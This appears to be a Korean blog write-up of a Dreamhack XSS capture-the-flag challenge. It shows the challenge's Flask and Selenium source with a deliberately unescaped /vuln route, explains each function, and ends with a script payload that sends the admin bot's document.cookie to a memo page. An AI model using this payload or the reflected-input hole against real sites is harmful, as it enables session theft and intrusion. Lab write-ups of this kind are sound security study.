#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
read_url
로컬에서 관리자 권한으로 매개변수로 받은 url에 접근을 하는 코드이다.
매개변수로 받은 쿠키로 현재 쿠키 값을 설정하고 매개변수로 받은 url에 방문한다.
check_xss
vuln페이지에 할 url과 쿠키를 설정한다.
urllib.parse.quote(param) -> param값을 URL 인코딩 시킨다.
vuln
매개변수로 받은 param값을 리턴한다.
👆 vuln?param=test 실행 결과
flag
실제로 우리가 정답을 제출하는 곳이다.
memo
방문할 때마다 memo에 전달되는 값이 해당 텍스트 창에 적혀진다.
flag페이지에 관리자가 memo페이지를 방문하도록 페이로드를 작성하면 된다. 이 때 쿠키값을 탈취해야하므로 해당 코드도 포함시켜야 한다.
<script>location.href="http://127.0.0.1:8000/memo?memo=" + document.cookie</script>
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] csrf-2 write up - 티스토리 (0) | 2024.01.12 |
---|---|
[Dreamhack] csrf-1 write up - 티스토리 (0) | 2024.01.12 |
[Dreamhack] XSS-2 write up - 티스토리 (0) | 2024.01.12 |
[Dreamhack] session-basic write - 티스토리 (0) | 2024.01.09 |
[Dreamhack] Cookie write up - 티스토리 (0) | 2024.01.09 |